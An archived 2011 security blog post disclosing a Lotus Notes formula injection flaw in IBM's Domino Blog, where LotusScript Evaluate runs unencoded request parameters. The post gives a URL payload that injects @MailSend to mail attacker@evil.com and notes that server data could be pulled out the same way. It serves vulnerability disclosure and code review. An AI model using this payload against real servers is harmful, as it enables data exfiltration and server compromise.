New security vulnerability: Lotus Notes Formula Injection

New security vulnerability: Lotus Notes Formula Injection - Author not stated, aboulton.blogspot.com.

- Published: date not stated
- Original: <https://aboulton.blogspot.com/2011/11/new-type-of-vulnerability-lotus-notes.html>
- Preserved from: https://aboulton.blogspot.com/2011/11/new-type-of-vulnerability-lotus-notes.html (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

From time to time, I get an opportunity to do some independent research. Something that has always particularly peaked my interest is Lotus Notes environments, both the administration and development platform. I feel what makes it an interesting environment is:

1. The focus is business applications
2. There has never been a significant focus from the IT security industry (Fortify doesn't even scan Lotus code)
3. My father happens to be a Lotus Notes Certified Developer.

These three points make an interesting recipe for security assessments.

Back in April 2010 I was having a usual tech talk with my dad about IT in general and software development practices. This is when I was introduced to the Domino Blog. Domino Blog is a Lotus Notes application offered by IBM as a weblog solution. It is generally intended for social media networking, allowing users to post topics and allow the general public to supply comments. This application is deployed within a Lotus Domino environment and is utilized by a wide audience, from IBM employees to the general public.

My dad happened to have this setup on one of his servers, so it was all ready to break. To speed things up, we moved straight onto a secure code review of the application. The scope of tainted data was fairly limited, so it didn't take long to identify all the entry points, which makes the assessment much easier. There are interesting functions in LotusScript, but one in particular is the 'Evaluate' function, which allows a Developer to build dynamic functionality by executing Lotus Notes Formula statements. For those who are familiar with other injection vulnerabilities (SQLi), I am sure the problem is becoming apparent.

It just so happens that in the Domino Blog there are Evaluate functions which are a sink for data received from HTTP requests without performing data encoding. To move straight onto an example payload it would look like this:

```
http://lotusnotesblogdomain.co.uk/blog.nsf/archive?openview&title=Motorbikes&type=cat&cat=");
@MailSend("attacker@evil.com";"";"";"Formula%20Injection";
"The%20email%body%belongs%here");
@IsText("
```

The payload above would force the Domino server to issue mail. As the Evaluate function supports wrapping of formula functions, it is trivial to start pulling data from the server and get it delivered to an email account.

An attacker simply requires the knowledge of how to correctly construct the statement to meet the requirements of the Evaluate function, and gain familiarity with the Formula language. As can be on the formula poster there is extremely powerful functionality that can make the payloads extremely interesting, and can certainly result in total compromise of the Lotus Notes server. I've appropriately coined this vulnerability Lotus Notes Formula Injection :)

Certainly add this to your list for web app or source code reviews of a Domino application.

Note: This was all responsibly disclosed to IBM in April 2010. * * **Update: 24/12/2011 - I thought it was pretty cool to see this picked up by WhiteHat Security and put in Jeremiah Grossman's blogspot